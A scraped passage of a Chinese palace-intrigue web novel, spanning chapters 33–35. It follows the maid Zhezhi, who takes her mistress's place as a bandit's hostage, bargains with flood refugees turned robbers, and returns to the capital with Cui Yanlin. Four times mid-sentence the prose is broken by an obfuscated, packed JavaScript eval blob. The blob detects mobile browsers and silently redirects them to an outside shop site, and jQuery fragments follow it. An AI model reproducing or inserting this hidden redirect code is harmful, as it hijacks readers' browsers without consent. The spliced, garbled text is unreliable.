那管事张嬷嬷是宋姨娘来府上时，李氏派过去的，为人倒还算老实。 采买本是油水最大的活计，可张嬷嬷为人老实，便没想着从里边捞些什么油水，一直勤勤恳恳做事。 却不想那刘婆子到处说手里有一手的消息，事关各位主子选人，可要收银钱。 刘婆子收了疏影阁一个杂役婆子的钱，告诉了那婆子从春桃那儿听来的话，说是夫人不管那边的事，若想自己攀高枝，就削尖了脑袋往上凑就是了。 那婆子也是个在人堆里活得久了的，一听给了银钱刘婆子就说了这些，非闹着要将她的这些骗钱的事捅出去。刘婆子不肯，又打听到原来那婆子属意疏影阁采买的活计，便和那婆子合计了下，到处传张嬷嬷的谣言。 说她每回采买至少要吃一半的回扣，府里上下谁都没有她捞油水捞得多。偏偏那张嬷嬷做事本分，被平白无故冤枉了，自然气不过。见到那刘婆子还在嚼舌根，便忍不住动了手。 结果就是刘婆子和张嬷嬷都被罚了月钱，宋氏更是听了流言觉得张嬷嬷做事不干净，便不让她做采买活计了。 如此一来，秦府里的下人倒是都学会了，要是看谁人不痛快便背后传那人的谣言。一时间，阖府上下乌烟瘴气，一个个下人都不想着如何服侍好主子，心里倒是想着如何勾心斗角去了。 李氏点了点头，又问：“近日太尉府，兵部侍郎家可有递帖子来？” 太尉赵家，上回传出来了些关于秦明月的流言，李氏非但没有追究，反而送了一份芙蓉斋的马蹄糕去了赵家。 那赵家的本不知到底此为何意，仔细打听了才知道。那日姐妹俩赴完宴回府，赵敏便朝赵霁说了此事，却不料被赶车的听了去。 可李氏派了几个小厮出门打听，才知道赵太尉那日可动了肝火。两姐妹互相推诿，姐姐赵霁说是妹妹和继母联了手要害她，妹妹赵敏却说是姐姐赵霁不小心说出去的，与她和继母并无干系。 只知道赵霁之后被送去庄子里静养，赵敏去了外祖家里避风头。此事也算解决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533302|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥帖了，之后几次赵家主母登门，李氏都病了不见，便隔三差五递了话来问好。 至于兵部侍郎，上回在国公府宴上，她们几位尚书侍郎家里的女眷聊得畅快，便约好了日后多走动的。 前些日子兵部侍郎家的杜夫人送了些她家乡特有的皮货，京中都难得，还未曾回礼。虽送礼并不是为了求得回礼，可话也没回，多半显得不看重。 在后宅不看重，那前朝之上也便没有了好脸色。 烛火升起，缥缈摇动。 沿街的商户挂了灯笼，红彤彤的，发出微弱的光。 秦佩赴完今日国公大人酒楼之约，撩起袍子往轿子上走，却被头上挂着的灯笼砸了。 他有些恼怒，上了轿子还往外看了又看。想看看究竟是哪个不长眼的挂个灯笼都挂不稳，却一直没见到人，又憋着气回了府中。 今日吃酒，不知怎么的，平日殷勤朝着他敬酒的太尉赵丞敬了一圈酒，唯独不敬他的。下朝时路过他还狠狠吹了吹胡子。还有那兵部侍郎，与那兵部尚书是师徒。看见他便拽着袖子走开了，几次欲上前洽谈公务，也失了机会。 秦佩窝着气回了秦府，发现不仅前朝乱作一团，连他的内宅也是鸡飞狗跳。 进了门便听到下人不好好干活，竟在一旁说着闲话。 他略微训斥了两句，去了疏影阁却不见温柔乡，反而见到那宋氏哭哭啼啼地求他做主。 “行之，妾不要活了！”宋姨娘抹了抹泪，指着那张嬷嬷泣泪涟涟：“妾在这府里，不受待见，这府中丫鬟婆子都不肯听我差遣，竟是做些偷偷摸摸的，不把妾放在眼里。” 秦佩有些头疼，语气自然不耐：“夫人临走前不是把管家的对牌钥匙给了你了吗？有不听话的下人自己看着处置了便是，你找我做什么？” “我日日在朝堂上看是非品脸色，怎么回了家还要看你在这里哭哭啼啼的？” 宋姨娘愣了愣。 她着实不知道如今这局面究竟该怎么办。 她本就父母早亡，要不是有些姿色和聪明劲，怕是连养活自己都难，更别说拉扯着幼弟长大，又供他读书。 她只是有些小聪明罢了，却是字也不识得几个，更不会管家，可秦佩这样说却是让她着实伤了些心。 “老爷……你可冤枉妾了。妾虽才识浅薄，可这张嬷嬷是夫人的人，妾身不敢随意做主……” 秦佩狠狠抓了抓头发：“我怎的和你就是说不清这事情呢？” “对牌钥匙既然已经在你手里了，那如何处置下人，便只凭你做主，不需要考量是夫人的人还是我的人，可明白？” 宋姨娘咬了咬唇，感受到他的烦躁，不敢再多说让他厌弃自己了，便轻轻点了点头。 “再或者，你实在不知道该怎么处置，就等着夫人从庄子里回来了，再交还给她处置就是，何必来惹我心烦呢？” 若是李氏来处置，必定会对自己的人手下留情，说不定还会继续安插在她院子里。 宋姨娘不敢再埋怨了，只是依着秦佩的意思，乖顺地伺候他更衣安置去了。 33. 有喜 草长莺飞，青绿一片。 高雀带秦明月来了庄子上的一片空着的草场，如今草已经长成，踩着软绵无比，像踏了棉花。 草场左边就是马房，里边有几匹马，膘肥体壮，专喂着供贵人闲暇时骑着玩。若一时兴起想要打马球，骑具马鞍早已备好，记筹数的和球门的也放在一旁的屋子里边了。 草场四周插着笙旗，旁边屋子连着长长的一片连廊可供观赏，廊前面，投壶射箭这些器具也是一应俱全。 秦明月换了骑装，挑了一匹枣红色的马，翻身就上去了，干净利落。 翠云在下边牵着绳，就怕这马乱跑伤了秦明月。 马蹄声猎猎，折枝看她们好不容易走远，便忙里偷闲躺在了草丛里，瘫在上边。 高雀不知道从哪里走过来，吓了折枝一大跳：“你这丫头倒是不寻常。别人都想着如何去讨自家主子欢心，就你躲在这里躲懒，闲的自在。” 倒也说不上自在。 秦明月虽现在在骑马，却吩咐她去把风筝放得高高的，她想既放风筝又骑马。 “我倒不是不想讨小姐欢心，只是翠云姐姐把小姐看得太严了，我现在就是想近小姐的身都难啊。” 话虽如此，可折枝在心里却想着自己可曾露出来什么马脚过。 只是她向来谨小慎微，从来不敢冒尖，与这位高姑娘说的话都并不多，想来除了李氏那边的人无人知道她的另一面。 高雀笑了笑，脸上的雀斑一点又一点：“我爹在我小的时候并不认我，于是我便跟着我娘一起讨生活，所以才学得了这一身的本领。” “从小的时候我便开始和娘亲一起四处耍杂技，见过的人怕是用一百双手也数不完。” 高雀看向折枝，似乎想从她那里寻得一些答案：“折枝，我见过很多的小姑娘，哪怕在最严苛的府里做活的丫鬟也不像你这样。你的眼神哪里像十来岁的姑娘，却很像个老嬷嬷！” 折枝原本也也有疑，她再如何也只不过是个黄毛丫鬟罢了，那日究竟是靠什么让覃姑姑愿意听下去她的投诚之言的呢？全靠她的算计吗？ 或许不尽然。 有的人年少老成，虽是雏鹰可亦能显日后展翅翱翔姿态，初露锋芒之时，便叫人知道，这座宅子困不住她。 李氏立在黄梨花鸟十二扇围屏前，细细摩挲着上边雕着的纹路，沉下身来吩咐身后的覃姑姑。 “城里的那个人可安排好了？” 不日便要回府，若是看不上精心排出的一场大戏，倒是白白浪费了她这段时间的筹谋。 覃姑姑有些心疼李氏忧思过度，点了点头让她放心。 接宋氏回来的那一夜，李氏在屋内哭得眼睛都干了。始终想不明白为何她与秦佩相敬如宾，可他为何眼里始终没有她这个妻。 那一日她就偎在覃姑姑的怀里，泣不成声，说她要和离。 可李家和秦家的人是绝不会让她就这样和离的，一定会想尽一切办法阻止。 这个世道上，女子想要凭自己心意活下去，实在是太难。她只能去争，去一步一步做局、铺路，最后才可能为自己谋得那么一线的机会。 她一点错处都不能有，所以，这个错处要别人来做。 “老奴已经找人打听到了老爷身边的青崖的家里人。他家人丁单薄，除他以外只有一个哥哥和一个老母，他哥哥脑子不太灵光，年近而立才开始议亲，全家都指着青崖一个人过活。” 李氏点了点头。 覃姑姑曾经在宫里服侍过几年，后被放出宫外，不愿婚嫁，便寻了户人家继续服侍，便伴着李家最小的小姐李长容长大，并作为陪嫁嬷嬷带来了秦家。 所以覃姑姑做事，她一向放心。 虽如今摸不清楚她母亲那边究竟是想做些什么，可在她心中，覃姑姑比母亲还要可值得她相信。 她想和离，就先得把秦明月的婚事定下来，不然日后再议亲，就难了。 “来往人马可打听清楚了？” “奴婢打听了，前些日子圣上听闻皇陵处天降异象，便派了指挥使崔彦祺、大理寺卿吕耀文和翰林学士冯铭前去查看。吕寺卿追查，指挥使互送，冯学士记录在册。五日前出发的，不日即将回京。” 李氏将头点了又点，将一颗悬起来的心放到了肚子里了。 秦明月骑够了马，便勒马停下来歇息去了。 折枝给她搬来了一个躺椅，放在连廊前边。不到一会儿，高雀又变戏法似的不知从哪里变来一盘果子，配着茶喝欣赏碧草蓝天倒是别有一番风味。 高雀看着接过秦明月手中的竹球，放在地上，又看向折枝，眼里带上了几分戏谑。 “小姐，你身边的这个小丫鬟一点也不像个黄毛丫头，太老气了。” 翠云原本很赞同高雀说的话，但听见高雀说她老气的时候却不高兴了，嘟了嘟嘴唇：“她哪里老气了？” 在她看来，折枝不懂尊老爱幼礼义廉耻，不事事都让着她这个旧人就算了，还背着她不知道什么时候勾搭上了夫人身边的人。 秦明月眼里含着笑，仔细想了想，狡黠地眨了眨眼睛，最后指了指放在一边的风筝。 “折枝，你去把那边地上的风筝给放起来，要放得高高的！” 折枝心里苦笑了一声，却明白秦明月并非想要刁难她。 她苦着脸看向秦明月：“小姐，奴婢不会放风筝。” 秦明月才仔细打量起来这个跟在她身边有了一段日子的小丫鬟。似乎一直是在她院子里洒扫的，只是她从前从未注意到她罢了。 她长了一双极明媚的眼睛，微微上翘，却被厚重的头发挡着，看不真切。 如今微风拂动，秦明月才有机会看清楚她的眼睛。或是说，她向来喜欢颐指气使地吩咐下人做事，却从未真正好好看过她们究竟长什么模样。 秦明月板着脸：“不会？不会那便现学了放给本小姐看。” 折枝知道拗不过秦明月，轻叹了一口气，在另一边高高地将风筝放起来了。 鸢鸟形状的风筝高高地飞，远得看不见折枝手中的线，仿佛它已经冲破了所有的桎梏。 高雀蹲在秦明月身边，看着折枝奔动，脸上的笑却暗淡了许多。 “高姐姐，你不开心吗？” 本来依着规矩，秦明月如何也不能喊高雀姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534700|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐的。只是这高雀并非是庄子里的人，只是收留在了庄子里，又极得秦明月喜欢，便不用拘那么多的礼。 高雀黯然神伤：“曾几何时，我也像折枝一样从小便要学着和大人一样老成……可现在我却觉得，年少老成并非是件好事，人应当在合适的年纪做相应的事情。少年时父亲只重视我姐姐，却吝啬给我哪怕一两分的关怀，小姐，厚此薄彼必生事端，此并不可取。” 秦明月顿了顿，回想起前些日子似乎确实是偏宠了翠云一些，但她们有自小长大的情分在的，到也不能算作厚此薄彼。 尽管如此，她仍旧红了眼睛。 “除了我母亲，从来没有人会同我说这些推心置腹之言。高姐姐，从此以后，我们能当朋友吗？” 高雀笑着没有答应，秦明月却以为她已经默认了。 临行的前一刻，秦明月在摇晃的马车上抹着眼泪，对着高雀依依惜别：“高姐姐，我会回来看你的！” 她从前只有赵敏和李瑜两个朋友……甚至李瑜也算不得是她的朋友，只不过是因为孙氏不怎么带着李湘出门，李攸又年纪太小，和她们玩不到一堆去，故而李瑜便和秦明月一块。现在赵敏出了这种事，她便没有朋友了。 傍晚的时候上的马车，走到官道上已经快要天黑了，只留下一抹残阳挂在天边。 落日西沉，万籁俱静。 秦明月和两个小丫鬟坐在一辆马车上，昏昏欲睡。 她这几日在庄子上玩得尽兴了，却也着实玩累了。 今日早晨又吵嚷着要和庄户们一起去摘枇杷，到了午时又没休息，到了车上自然是没有什么精神了。 更何况，坐在颠簸的马车上并不有趣，秦明月便靠在软枕上撑着脑袋睡觉。 本来是准备早些时候走的，可快到了时间李氏身边的人才说手上有些账目并未理清楚，只好又多留了几个时辰。 李氏焦急万分，倒是身旁的覃姑姑劝慰道：“这是官道，又离京城如此近，天子脚下，谁人胆敢造次？” 如此一来，她倒是放心了。 只是下朝回家的秦佩却无比盼望着李氏回来，在门前转了又转，才听到青崖前来传话：“夫人那边有人传话回来说要迟上几个时辰，老爷不若先去姨娘那边用了晚膳再回来等夫人回府吧？” 秦佩倒是想不着急，可他却想好好追问下李氏，前些日子病了就罢了，为何病好了却一直不给别的官眷回礼，显得不懂礼数！ 宋氏此时穿了件湖绿的杭绸裙，衬得她腰肢纤细。她睁着眼睛盈盈望着秦佩，倒是看得秦佩心热起来。 “你怎么来了？” “妾身听闻夫人今日要回来，实在是担心得紧，在院子里如何也呆不下去，便来了门口等着了。” 秦佩颇为欣赏地点了点头，想到自己妻妾和睦，一时间有些得意，看向她的眼神中多了几分怜惜：“露深寒重，棠儿真是有心了。” 宋姨娘抬了抬下巴，一只手搭在丫鬟的手臂上，另一只手则有意无意地抚过自己平坦的小腹：“妾身近来身体不适，请了郎中前来相看……今日前来等夫人回家，是想和老爷、夫人一同分享这个喜事的。” 34. 相信 月明星稀，山林间寂静无声。 斑驳的光撒了一地，郁郁苍苍之下，留下一片碎碎圆圆。 忽然，前边马车的马儿忽然停了脚，将腿抬到半空当中，不再愿意往前再走一步。 空气当中，弥漫着血腥气味。 车夫安抚起来那马儿，往后慌张喝道：“夫人，前边过不去了！” 李氏没有下车，只是撩起了马车上的帘子，往外望。 暮色之中，穿着夜行衣的人伴着兵刃相接的声音隐没在林间。 个个脸上蒙着黒巾，为首的手里拿了把大刀。黑夜里边泛着银色，露出的眼睛凶恶无比：“此路是我开，此树是我栽，要想从此过，留下买路财！” 那贼人举着大刀，径直走到吓得哆嗦的车夫面前，状作恐吓：“叫你家管事的出来！” 车夫哆哆嗦嗦不敢说话，贼人只听到马车里边发出有些疲惫的声音，是李氏身边的覃姑姑在说话：“壮士，我等是京城中的官眷，外出并未带什么值钱物什，不若等我等回了城中带了银钱再交与你们可好？” “呸！”贼人捏着下巴似乎思考了好一会儿，又说：“我信不过你们！” “我在那边的山头观察你们好久了！” “你们的人当中有两位主子，一位是官宦人家的夫人，另一位……是位娇小姐吧！” 翠云肩上靠着秦明月，却不敢惊醒她，只敢探出一只手去听听外边发生了些什么。 她听到一半，吓得倏地将手往回一缩，秦明月也被她的一惊一乍吓醒，一脸诧异地盯着她，眼神仍旧迷蒙着。 “怎么了？” 翠云咬着嘴唇，低声道：“小姐，前边好像是遇上了山匪了，叫嚷着要交了钱财才让我们过去呢！” 秦明月满不在乎，只是有些疑惑地皱了皱眉：“这是管道，怎么会出现些奇怪的山匪。” 说话间便听见那贼人哈哈狂笑：“这样吧，我许你们的人回去拿钱，只是，要给我们留下个人质！老的东西我们可不感兴趣，你们……把你们家小姐留下当人质！” “你——！” 李氏被气得不轻，都快要忍不住下了马车与他们交涉，却被覃姑姑拦住。 秦明月此刻也听见外边的声响了，吓得脸色发白，花容失色。 翠云显然也十分惶恐，有些害怕那群贼人真的索要钱财不成反倒害怕暴露而杀人灭口。 她望向秦明月，一副为难神色。 折枝显然也吓得不轻。平日里只有走小路才会容易遭匪盗，她一张脸同样白得快要了无血色。 她扯了扯秦明月的袖子，一双眼睛却亮得坚定。 “小姐，你把衣服脱下来，和我交换。” 秦明月有些无措，甚至到了有些生气的地步，只好深深吐了口气，“折枝，你别烦我。” 翠云显然已经知道折枝到底想做什么，劝诫秦明月不要当折枝如愿的话到了嘴边，又被她咽下。 “外边的人点名要小姐做人质，可小姐千尊万贵之躯，怎么能忍受这样的屈辱？”折枝快要哭了，几乎哀求这秦明月：“小姐，奴婢愿意替您去当人质。” 马车外，覃姑姑安抚住李氏，继续同那匪盗商议：“壮士……我家小姐千金之躯，怎可以留在这里做人质？只要你愿意放过我家，便是白银万两，我家也是言出必随的。” 那贼人眯了眯眼睛，似乎是在考虑，想了想却并没有同意。 “奶奶的！老子不绑你家小姐就能赚这么多，那绑过来了岂不是能赚得更多……” “且慢！” 贼首眼看着一位身穿了件香妃色掐尖柳絮长裙的少女下了车，腰间系了一只带着玛瑙的香囊。 她的发丝被顺到一边，露出一双潋滟无双的眼睛，肌肤细腻胜雪，唇不点而朱，只是看着年纪小些。 那少女走至李氏车窗，盈盈施了一礼，“母亲，请让女儿为质。” “若能护得母亲安宁，女儿就算身死也不足惜，”她咬了咬唇，顿了顿继续道：“若女儿遭遇不测，宁愿以死明志，绝不辱秦家门楣。” 李氏在帘中擦泪，爱怜地从里边伸出一双手握住折枝的手：“好孩子，母亲一定准备白银万两赎你回来！” 那贼人色眯眯地瞧了瞧折枝，心里却有些怀疑，嘟囔着道：“这家小姐也不知怎么生的，怎么瘦得跟个猴儿似的。” 只是她的美貌做不得假，身上的衣饰也对得上号，况且与车内的主母情深意切，他便招了招手让后边的人不再拦住秦家的马车了。 马车走后，贼首找个俩小喽喽捆住了折枝。 折枝却是都没挣扎，对上贼首颇为欣赏的眼神。 “你这姑娘倒是有趣，遇到贼人绑你竟是一点也不慌张。” 折枝不卑不亢道：“不知壮士是哪路人？” 贼首挑了挑眉：“怎么？想打听清楚了回了京再将我等一网打尽？” 不对。 李氏这几日一直在和秋风庄的人施压，若是找人扮演劫匪，虽可能是些生人面孔，却绝对不可能面对她的话而说出这些。 她方才便发现了端倪，于是并未急着和贼首叙旧，而是先问问他们究竟从何而来。 因为若是找面生的庄户装作劫匪，断然不可能找到这样多的兵器——来人至少有四五十个，个个手里拿着大刀，银光闪闪。 一个庄子里边，能集出的刀，几乎屈指可数，但绝不可能是这个数。 那么只有一个可能。 他们是真的劫匪。 折枝爽朗笑笑，钻进拳头任他们绑着。因为如此一来，他们便不能发觉她手上的茧子。 大户人家的小姐手上怎么可能长了做活磨成的老茧？ “壮士误会了。” “我只是想到去岁也来过这庄子里边玩耍，却未曾在路上见到过壮士们，想必壮士们并非是这条路上的老人。并且这是条官道，来往官眷、赴命出京的京官无数，壮士们不可能不知。那么唯有一点，壮士们就是在此处等待官眷或者京官路过，想要借机谋财？” 贼首在黑巾下的嘴咧开一笑：“你说的不错，可那又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584186|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何？” 折枝不动声色继续道：“南方水患频发，江南民不聊生，我斗胆猜测，壮士们是从南方一路北上来此的吧？” 贼首立刻不笑了，盯着折枝的眼睛像淬了毒，想从她身上看出什么不妥来，却看不出来，只是皮笑肉不笑道：“你这小姑娘倒是伶牙俐齿。我听闻，盛京官眷人家喜好奢靡，吃穿用度一日百两不在话下，想必日日吃的是山珍海味。只是你这姑娘吃的好东西全用来长嘴巴了，个子倒是瘦得跟个猴儿一般。” 折枝淡淡道：“我只是喜好多虑，多虑伤神，吃的又少罢了。” 话虽这样说，她心里却隐隐紧张起来。 这可是真的贼人盗匪，过多揣测惹怒了他，她可真不知道下一瞬会不会做了他的刀下亡魂。 只能顺着他的话说：“江南向来最是富饶，想来壮士们绝不会因为一己私欲而做下此等行径，而是有什么难言之隐……” 周云一把扯下他面上的黒巾，一双鹰眼探向折枝：“怎么，有什么难言之隐，姑娘你就可以帮帮我们？” 挟持官眷，谋取钱财。 意图太过明显了。 并非是劫富济贫，而是想要利用这笔钱去做其他的事……什么事呢？ 在溃泄千里的江南，那必然是建堤啊！ 折枝垂下眸子，想着一步步该如何哄骗周云放她离开：“壮士不知，我父亲是工部尚书秦佩。不仅有万贯家财，且下能统领建造补修之事，上能手执笏板直达天听。” “江南富庶，若非到了绝境，壮士们必不会出此下策挟持官眷，一旦被抓，乃是被诛的大罪。只是不知我的父亲，能否解一解壮士们的燃眉之急？” 周云其实被说动了。 他沉默了许久，看着眼前滔滔不绝的小姑娘，心里当真生出了几分信任，只是他又想起家乡那些为富不仁、卖弄权术的贪官污吏，也是嘴上说着好听，实则把朝廷发放的赈灾银子吞得一文不剩。 京中的贵人明明说了好几回会派下御史彻查，却屡次被收买，要不就是根本就没来。 一次又一次的伤心，已经叫他们等不起了。 如果此事再不能穿到圣上的耳朵中，他已经不知道他们这群百姓该怎么活下去了。 周云咬了咬牙，看向折枝的眼神有些踌躇。 “我能相信你吗？” 折枝正欲说话，却被周云身边的另一个青年的说话声打断了。 那人手里提着个一脸苦色的黑衣男的，脸被晒得黝黑，看起来老实巴交。 “大哥，这是前边那家庄子里的庄户，方才就是他们在那边躲着不出来的，被小弟我抓了个正着。” 周云点了点头，还没看向庄户，那庄户就已经被吓得快要尿了裤子了，他苦苦哀求。 “我说，我什么都说……壮士饶命，壮士饶命啊！小的只是这附近的庄户，无意与壮士抢肥羊啊……” 那庄户看向折枝，一脸惊恐，却又在眼里闪过奇异的光芒：“壮士，这不是我家小姐！您抓的……是我家小姐的婢女啊！” 35. 会骑马吗？ 折枝心瞬间停滞一瞬，如同坠入了无尽的冰窟当中，她的目光冷得像冬月的寒风。 “你说我不是秦家的小姐就不是，是非黑白全凭你一张嘴，这倒是稀奇了。那我还说你并非是我秦家庄子里的庄户，你如何证明自己？” 那庄户怔愣一瞬，随即恶狠狠地瞪着折枝：“我何须证明自己？我说我是庄子里的庄户对我有什么好处？” “若你真的是庄子里的庄户，见到我并非是秦家的小姐，绝不应该揭穿我而让几位主子陷入险境当中。可是你没有这样做，而是顶着一张颠倒是非的嘴非要说我并非是秦家的小姐，想在诸位壮士面前彰显你的可信。可你又为何想要夺取壮士们的信任呢？是因为——你并非是我家的庄户，而是想要靠着伪装接近壮士的心怀不轨之人！” 周云听完折枝的一番话，心里也顿时涌上了一丝不安。 若是他是那边的人派来的，难不成…… 他们已经知道了他们上京的消息了么？ 周云阴沉着一张脸，喊着方才站在身旁的少年宋升把那庄户塞住了嘴先带下去了，自己则慢慢走近折枝的身旁，眼中的神色意味不明。 折枝知道，即使他看样子已经信了方才那人是细作，此刻也必定对她的身份起了疑心。 周云拔出匕首，一点一点地将折枝手上绑着的绳索割开，最后对着她说：“你走吧。” 折枝被他从背后推了一把，干瘦的手指从他身上划过，往前狠狠跌了好几步。 她有些不解：“壮士……” 周云叹了口气：“姑娘啊，我也不在意你是不是那什么工部尚书家的小姐。若你真的是，那么请你前去同你的父亲说起我们江南罹了灾患，还望尚书大人能上达天听替我等鸣冤。若你并非是秦小姐，想必也是个苦命人。我等本就同是苦命人，又何必互相为难？” 有人弃她如敝履。只因她身若浮萍，无依无靠，谁人都可以任意轻贱。不必过问她的想法，因为像她们这样的贱民，根本没有自我选择的能力。 有人珍她若珠宝。不必她家财万贯，不必她名扬天下，只要她是芸芸众生中的一人便好，只要她是个活生生的人便好。 周云挥了挥手让她离开：“你走吧，这条路上除了我们，想来是再无别的贼盗了。” 那日高雀说过，穿过那排低矮的树，再往前些，就是秋风庄的田里了。 折枝往腰下一扯，那个绣着百蝶穿花的香囊便落在她的手中。 她把手往后，抓下了一只银色的发钗。搅动发钗，折枝顺着针线将那香囊剥开。 细碎的香粉散落了一地，粘在长裙之上。她抖着手，有些也伴着山头的清风一阵又一阵地往她有些散乱的鬓发上飘去，香得过分浓郁。 或许是香粉入眼，折枝眼眶有些润湿，再继续拆解着那香囊，掏出里边用锦布棉絮包着的一团东西。 她知道，她猜对了，也赌对了。 夜色渐深，山风阵阵，吹得山间的树叶哗哗作响。 折枝抹了抹眼角的泪水，继续往前一步步走着。 她也不知道为什么会哭，可这如何都不像一个活了几十年的老嬷嬷该做的事情。 官道又长又远，她看不到尽头。 这是个逃跑的好机会，只要此刻从这里逃走，她便再也不必为奴为婢，可以得到她肖想了一辈子的自由。 可然后呢？ 她身上既无籍契，又无路引，无处可以收留她。 天下之大，可容纳万物众生，只是无处是她的安隅罢了。 所以她要回庄子里，拿到李氏承诺事成之后会给她的卖身契。 月黑高飞，几只飞鸟掠过天空，断断续续的马蹄声透过尘土往前传来。 折枝再也顾不上伤春悲秋，她往路边又靠了靠，确保着自己的身影已经隐匿在了树林当中，她才敢慢慢探出头去看究竟来人是谁。 来人穿了件银色的斗篷，头发扎成一束，状似马尾，一张棱角分明的脸隐没在斗篷的系带当中，在夜色当中白皙似雪。 那人勒住了马，翻身下了马。 他身量高挑，露在斗篷外边的腿极长，一步一步往着折枝躲着的草丛这边走来。 折枝手里握住了方才从头上拔下来的那只发钗，手上黏腻的汗水快要凝成水滴。 他是什么人？怎么会往这边走？难道知道她躲在这里吗？ 折枝屏住呼吸，下一瞬却感觉自己被不同于那香囊里的另一种冷香所包裹着。 她被来人像个小鸡仔似的从草丛里拎出来了。 她才看清，清朗月色之下，少年鼻尖那颗若隐若现的小痣。 “真遇见歹人，这样躲可不好。” 折枝有些疑惑，低头却看见被自己洒了一地的灰白色香粉。 倒是知道了崔彦林究竟是如何看出自己躲在这里了。 崔彦林好像看着有些疲惫，眼下乌青一片。 折枝被他放下，跟着他走到了马前。 她或许都不知道她为什么会信任他，或者是说，她觉得自己就应该信任他。 即使她这个小人，寡信薄义，曾经骗过他，却仍旧固执地觉得他如何都不会反过来欺骗自己。 崔彦林上了马，伸出一只手，递向折枝：“会骑马吗？” 折枝局促地点了点头，抬起头望向皎月之下的少年。 崔彦林轻轻地嗯了一声，接着手上微微用力，折枝便被他拽到了马背之上。 折枝扯着缰绳，感受到后边那人就这样毫无戒备地靠在了她的背上，坚硬的下颌硌得她生疼。似乎是睡着了，她感受到他轻浅的呼吸声响起，断断又续续。 她不敢加鞭，只是由着马慢悠悠地走，走至城门，只见到一个青年骑在高头大马之上，望着折枝背上的少年，默不作声冷哼了句。 方靖远望着崔彦林前边坐着个狼狈的少女，什么也没问，只是找守着城门的官兵通融了两声便跟着一起进了城门了。 等进了城门，才发觉朱雀大街前边堵着两辆马车。 马车走得极慢，旁边围着几个骑马的人。 一人乃是指挥使崔彦祺，是崔彦林一母同胞的长兄，如今已经及冠，穿着件灰色的长衫，夹着马匹护送着马车的人继续前行。 另外一人一袭青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604666|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衫，身前坐了个白发苍苍的老头。 穿着青衫的人是冯铭，前边坐着的，应是大理寺卿吕耀文。一把年纪，胡子都白了许多，精神也不算太好。 想来是日夜兼程，休息得不好。 如此一来，折枝便知道了，是他们一路护送着秦家的人回了京，心便放下了。 进了京城，折枝不敢再与崔彦林同乘一骑，却也不敢乱动，因为害怕惊动了后边的崔彦林。 崔彦林这人也是奇人一个，或者说是他太过劳累，如此颠簸的马背上，他竟然也就能这样睡着。 方靖远慢悠悠地骑着马过来，看着这边的脸色显然有些埋怨：“你又去了哪里？” “姑母问过我好几次，我拿了好些理由替你搪塞。你知不知道，姑母和姑父在家中都快要急疯了，若不是知道是我带你走了，恐怕是要报官去了。” “还有，”他挑了挑眉，眼皮浅浅抬起看向折枝，“这又是你哪里捡到的一个丫头？彦林啊，你小小年纪，可不能耽于女色，萎靡不振啊！” 折枝只感觉到背后有道清亮而又温和的声音响起：“辛苦表哥了。” “我与这位姑娘素昧相识，只因为她路过救了我，否则我或早就死在回京路上了。” 方靖远看他眼下乌青确实并不像假的，也知道若没有折枝，他是万万不可能今日就回了京城的。 不过他还是嘟囔两声：“小爷我陪着你崔小少爷鞍前马后，结果就得了一句辛苦……罢了罢了，看你回来了，小爷我不说什么就是了。” 姑娘？ 折枝知道的，崔彦林见过她，也知道自己是秦明月的婢女，怎么会叫她姑娘呢？ 又说是自己救了他？ 或许只是想在方靖远面前撇清关系罢了吧。 折枝感受到崔彦林醒了，便说什么也要下马。可稍微挪动身子，便感受到崔彦林干瘦的骨头硌在她的脊背之上。 接着，一只手按住了她。 “崔某唐突姑娘了。” 崔彦林翻身下马，徒留折枝在上边坐着，而他牵着缰绳，立在一旁，伸出一只手安抚了下马儿。 方靖远觉得稀奇：“表弟竟懂得怜香惜玉了？” 崔彦林不置可否。 方靖远自觉尴尬，便摸了摸鼻子看着前边的马车已经走得很远了，才缓缓开口：“对了，表弟，你长兄在前边，才从仓州皇陵处处理完公务回京。反正你如今回了京城也必定要回家，何不兄弟俩做个伴，一起回去得了。” “也省得姑母见你一人回去，定然会指责你。正所谓法不责众……” 